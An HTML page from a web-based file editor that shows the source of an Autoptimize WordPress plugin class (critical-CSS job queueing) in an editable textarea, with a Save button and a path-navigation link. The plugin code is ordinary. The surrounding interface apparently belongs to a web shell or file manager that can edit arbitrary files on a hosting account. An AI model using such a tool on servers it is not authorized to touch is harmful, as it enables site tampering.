<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: autoptimizeCriticalCSSEnqueue-20250808222909.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
/**
 * Critical CSS job enqueue logic.
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

class autoptimizeCriticalCSSEnqueue {
    public function __construct() {
        $this-&gt;criticalcss = autoptimize()-&gt;criticalcss();
    }

    public function ao_ccss_enqueue( $hash = '', $path = '', $type = 'is_page' ) {
        // Get key status.
        $key = $this-&gt;criticalcss-&gt;key_status( false );

        // Queue is available to anyone...
        $enqueue = true;

        // ... which are not the ones below.
        if ( true === autoptimizeUtils::is_local_server() ) {
            $enqueue = false;
            $this-&gt;criticalcss-&gt;log('cant enqueue as local/ private', 3 );
        } elseif ( 'nokey' == $key['status'] || 'invalid' == $key['status'] ) {
            $enqueue = false;
            $this-&gt;criticalcss-&gt;log( 'Job queuing is not available: no valid API key found.', 3 );
        } elseif ( ! empty( $hash ) &amp;&amp; ( is_user_logged_in() || is_feed() || is_404() || ( defined( 'DOING_AJAX' ) &amp;&amp; DOING_AJAX ) || $this-&gt;ao_ccss_ua() || false === apply_filters( 'autoptimize_filter_ccss_enqueue_should_enqueue', true ) ) ) {
            $enqueue = false;
            $this-&gt;criticalcss-&gt;log( 'Job queuing is not available for WordPress\'s logged in users, feeds, error pages, ajax calls or calls from criticalcss.com itself.', 3 );
        } elseif ( empty( $hash ) &amp;&amp; empty( $path ) || ( ( 'is_single' !== $type ) &amp;&amp; ( 'is_page' !== $type ) ) ) {
            $enqueue = false;
            $this-&gt;criticalcss-&gt;log( 'Forced job queuing failed, no path or not right type', 3 );
        }

        if ( ! $enqueue ) {
            return;
        }

        // Continue if queue is available
        // Attach required arrays/ vars.
        $rules = $this-&gt;criticalcss-&gt;get_option( 'rules' );
        $queue_raw = $this-&gt;criticalcss-&gt;get_option( 'queue_raw' );
        $queue = $this-&gt;criticalcss-&gt;get_option( 'queue' );
        $forcepath = $this-&gt;criticalcss-&gt;get_option( 'forcepath' );

        // Get request path and page type, and initialize the queue update flag.
        if ( ! empty( $hash ) ) {
            $req_orig = $_SERVER['REQUEST_URI'];
            $req_type = $this-&gt;ao_ccss_get_type();
        } elseif ( ! empty( $path ) ) {
            $req_orig = $path;
            if ( '/' === $path ) {
                $req_type = 'is_front_page';
            } else {
                $req_type = $type;
            }
        }
        $req_path = strtok( $req_orig, '?' );

        // Check if we have a lang param. we need to keep as WPML can switch languages based on that
        // and that includes RTL -&gt; LTR so diff. structure, so rules would be RTL vs LTR
        // but this needs changes in the structur of the rule object so off by default for now
        // as now this will simply result in conditional rules being overwritten.
        if ( apply_filters( 'autoptimize_filter_ccss_coreenqueue_honor_lang', false ) &amp;&amp; strpos( $req_orig, 'lang=' ) !== false ) {
            $req_params = strtok( '?' );
            parse_str( $req_params, $req_params_arr );
            if ( array_key_exists( 'lang', $req_params_arr ) &amp;&amp; ! empty( $req_params_arr['lang'] ) ) {
                $req_path .= '?lang=' . $req_params_arr['lang'];
            }
        }

        $job_qualify     = false;
        $target_rule     = false;
        $rule_properties = false;
        $queue_update    = false;

        // Match for paths in rules.
        foreach ( $rules['paths'] as $path =&gt; $props ) {

            // Prepare rule target and log.
            $target_rule = 'paths|' . $path;
            $this-&gt;criticalcss-&gt;log( 'Qualifying path &lt;' . $req_path . '&gt; for job submission by rule &lt;' . $target_rule . '&gt;', 3 );

            // Path match
            // -&gt; exact match needed for AUTO rules
            // -&gt; partial match OK for MANUAL rules (which have empty hash and a file with CCSS).
            if ( $path === $req_path || ( false == $props['hash'] &amp;&amp; false != $props['file'] &amp;&amp; preg_match( '|' . $path . '|', $req_path ) ) ) {

                // There's a path match in the rule, so job QUALIFIES with a path rule match.
                $job_qualify     = true;
                $rule_properties = $props;
                $this-&gt;criticalcss-&gt;log( 'Path &lt;' . $req_path . '&gt; QUALIFIED for job submission by rule &lt;' . $target_rule . '&gt;', 3 );

                // Stop processing other path rules.
                break;
            }
        }

        // Match for types in rules if no path rule matches and if we're not enforcing paths.
        if ( '' !== $hash &amp;&amp; ! $job_qualify &amp;&amp; ( ! $forcepath || ! in_array( $req_type, apply_filters( 'autoptimize_filter_ccss_coreenqueue_forcepathfortype', array( 'is_page' ) ) ) || ! apply_filters( 'autoptimize_filter_ccss_coreenqueue_ignorealltypes', false ) ) ) {
            foreach ( $rules['types'] as $type =&gt; $props ) {

                // Prepare rule target and log.
                $target_rule = 'types|' . $type;
                $this-&gt;criticalcss-&gt;log( 'Qualifying page type &lt;' . $req_type . '&gt; on path &lt;' . $req_path . '&gt; for job submission by rule &lt;' . $target_rule . '&gt;', 3 );

                if ( $req_type == $type ) {
                    // Type match.
                    // There's a type match in the rule, so job QUALIFIES with a type rule match.
                    $job_qualify     = true;
                    $rule_properties = $props;
                    $this-&gt;criticalcss-&gt;log( 'Page type &lt;' . $req_type . '&gt; on path &lt;' . $req_path . '&gt; QUALIFIED for job submission by rule &lt;' . $target_rule . '&gt;', 3 );

                    // Stop processing other type rules.
                    break;
                }
            }
        }

        if ( $job_qualify &amp;&amp; ( ( false == $rule_properties['hash'] &amp;&amp; false != $rule_properties['file'] ) || strpos( $req_type, 'template_' ) !== false ) ) {
            // If job qualifies but rule hash is false and file isn't false (MANUAL rule) or if template, job does not qualify despite what previous evaluations says.
            $job_qualify = false;
            $this-&gt;criticalcss-&gt;log( 'Job submission DISQUALIFIED by MANUAL rule &lt;' . $target_rule . '&gt; with hash &lt;' . $rule_properties['hash'] . '&gt; and file &lt;' . $rule_properties['file'] . '&gt;', 3 );
        } elseif ( ! $job_qualify &amp;&amp; empty( $rule_properties ) ) {
            // But if job does not qualify and rule properties are set, job qualifies as there is no matching rule for it yet
            // Fill-in the new target rule.
            $job_qualify = true;

            // Should we switch to path-base AUTO-rules? Conditions:
            // 1. forcepath option has to be enabled (off by default)
            // 2. request type should be (by default, but filterable) one of is_page (removed for now: woo_is_product or woo_is_product_category).
            if ( ( $forcepath &amp;&amp; in_array( $req_type, apply_filters( 'autoptimize_filter_ccss_coreenqueue_forcepathfortype', array( 'is_page' ) ) ) ) || apply_filters( 'autoptimize_filter_ccss_coreenqueue_ignorealltypes', false ) || empty( $hash ) ) {
                if ( '/' !== $req_path ) {
                    $target_rule = 'paths|' . $req_path;
                } else {
                    // Exception; we don't want a path-based rule for &quot;/&quot; as that messes things up, hard-switch this to a type-based is_front_page rule.
                    $target_rule = 'types|' . 'is_front_page';
                }
            } else {
                $target_rule = 'types|' . $req_type;
            }
            $this-&gt;criticalcss-&gt;log( 'Job submission QUALIFIED by MISSING rule for page type &lt;' . $req_type . '&gt; on path &lt;' . $req_path . '&gt;, new rule target is &lt;' . $target_rule . '&gt;', 3 );
        } else {
            // Or just log a job qualified by a matching rule.
            $this-&gt;criticalcss-&gt;log( 'Job submission QUALIFIED by AUTO rule &lt;' . $target_rule . '&gt; with hash &lt;' . $rule_properties['hash'] . '&gt; and file &lt;' . $rule_properties['file'] . '&gt;', 3 );
        }

        // Submit job.
        if ( $job_qualify ) {
            if ( ! array_key_exists( $req_path, $queue ) ) {
                // This is a NEW job
                // Merge job into the queue.
                $queue[ $req_path ] = $this-&gt;ao_ccss_define_job(
                    $req_path,
                    $target_rule,
                    $req_type,
                    $hash,
                    null,
                    null,
                    null,
                    null,
                    true
                );
                // Set update flag.
                $queue_update = true;
            } else {
                // This is an existing job
                // The job is still NEW, most likely this is extra CSS file for the same page that needs a hash.
                if ( 'NEW' == $queue[ $req_path ]['jqstat'] ) {
                    // Add hash if it's not already in the job.
                    if ( ! in_array( $hash, $queue[ $req_path ]['hashes'] ) ) {
                        // Push new hash to its array and update flag.
                        $queue_update = array_push( $queue[ $req_path ]['hashes'], $hash );

                        // Log job update.
                        $this-&gt;criticalcss-&gt;log( 'Hashes UPDATED on local job id &lt;' . $queue[ $req_path ]['ljid'] . '&gt;, job status NEW, target rule &lt;' . $queue[ $req_path ]['rtarget'] . '&gt;, hash added: ' . $hash, 3 );

                        // Return from here as the hash array is already updated.
                        return true;
                    }
                } elseif ( 'NEW' != $queue[ $req_path ]['jqstat'] &amp;&amp; 'JOB_QUEUED' != $queue[ $req_path ]['jqstat'] &amp;&amp; 'JOB_ONGOING' != $queue[ $req_path ]['jqstat'] ) {
                    // Allow requeuing jobs that are not NEW, JOB_QUEUED or JOB_ONGOING
                    // Merge new job keeping some previous job values.
                    $queue[ $req_path ] = $this-&gt;ao_ccss_define_job(
                        $req_path,
                        $target_rule,
                        $req_type,
                        $hash,
                        $queue[ $req_path ]['file'],
                        $queue[ $req_path ]['jid'],
                        $queue[ $req_path ]['jrstat'],
                        $queue[ $req_path ]['jvstat'],
                        false
                    );
                    // Set update flag.
                    $queue_update = true;
                }
            }

            if ( $queue_update ) {
                // Persist the job to the queue and return.
                $queue_raw = json_encode( $queue );
                update_option( 'autoptimize_ccss_queue', $queue_raw, false );
                $this-&gt;criticalcss-&gt;flush_options();
                return true;
            } else {
                // Or just return false if no job was added.
                $this-&gt;criticalcss-&gt;log( 'A job for path &lt;' . $req_path . '&gt; already exist with NEW or PENDING status, skipping job creation', 3 );
                return false;
            }
        }
    }

    public function ao_ccss_get_type() {
        // Get the type of a page
        // Attach the conditional tags array.
        $types = $this-&gt;criticalcss-&gt;get_types();
        $forcepath = $this-&gt;criticalcss-&gt;get_option( 'forcepath' );

        // By default, a page type is false.
        $page_type = false;

        // Iterates over the array to match a type.
        foreach ( $types as $type ) {
            if ( is_404() ) {
                $page_type = 'is_404';
                break;
            } elseif ( is_front_page() ) {
                // identify frontpage immediately to avoid it also matching a CPT or template.
                $page_type = 'is_front_page';
                break;
            } elseif ( strpos( $type, 'custom_post_' ) !== false &amp;&amp; ( ! $forcepath || ! is_page() ) &amp;&amp; is_singular() )  {
                // Match custom post types and not page or page not forced to path-based.
                if ( get_post_type( get_the_ID() ) === substr( $type, 12 ) ) {
                    $page_type = $type;
                    break;
                }
            } elseif ( strpos( $type, 'template_' ) !== false &amp;&amp; ( ! $forcepath || ! is_page() ) ) {
                // Match templates if not page or if page is not forced to path-based.
                if ( is_page_template( substr( $type, 9 ) ) ) {
                    $page_type = $type;
                    break;
                }
            } else {
                // Match all other existing types
                // but remove prefix to be able to check if the function exists &amp; returns true.
                $_type = str_replace( array( 'woo_', 'bp_', 'bbp_', 'edd_' ), '', $type );
                if ( function_exists( $_type ) &amp;&amp; call_user_func( $_type ) ) {
                    // Make sure we only return for one page, not for the &quot;paged pages&quot; (/page/2 ..).
                    if ( ! is_page() || ! is_paged() ) {
                        $page_type = $type;
                        break;
                    }
                }
            }
        }

        // Return the page type.
        return $page_type;
    }

    public function ao_ccss_define_job( $path, $target, $type, $hash, $file, $jid, $jrstat, $jvstat, $create ) {
        // Define a job entry to be created or updated
        // Define commom job properties.
        $path            = array();
        $path['ljid']    = $this-&gt;ao_ccss_job_id();
        $path['rtarget'] = $target;
        $path['ptype']   = $type;
        $path['hashes']  = array( $hash );
        $path['hash']    = $hash;
        $path['file']    = $file;
        $path['jid']     = $jid;
        $path['jqstat']  = 'NEW';
        $path['jrstat']  = $jrstat;
        $path['jvstat']  = $jvstat;
        $path['jctime']  = microtime( true );
        $path['jftime']  = null;

        // Set operation requested.
        if ( $create ) {
            $operation = 'CREATED';
        } else {
            $operation = 'UPDATED';
        }

        // Log job creation.
        $this-&gt;criticalcss-&gt;log( 'Job ' . $operation . ' with local job id &lt;' . $path['ljid'] . '&gt; for target rule &lt;' . $target . '&gt;', 3 );

        return $path;
    }

    public function ao_ccss_job_id( $length = 6 ) {
        // Generate random strings for the local job ID
        // Based on https://stackoverflow.com/a/4356295 .
        $characters        = '0123456789abcdefghijklmnopqrstuvwxyz';
        $characters_length = strlen( $characters );
        $random_string     = 'j-';
        for ( $i = 0; $i &lt; $length; $i++ ) {
            $random_string .= $characters[ rand( 0, $characters_length - 1 ) ];
        }
        return $random_string;
    }

    public function ao_ccss_ua() {
        // Check for criticalcss.com user agent.
        $agent = '';
        if ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) {
            $agent = $_SERVER['HTTP_USER_AGENT'];
        }

        // Check for UA and return TRUE when criticalcss.com is the detected UA, false when not.
        $rtn = strpos( $agent, AO_CCSS_URL );
        if ( 0 === $rtn ) {
            $rtn = true;
        } else {
            $rtn = false;
        }
        return ( $rtn );
    }
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250807152928%2Fplugins%2Fautoptimize%2Fclasses'>🔙 Back</a>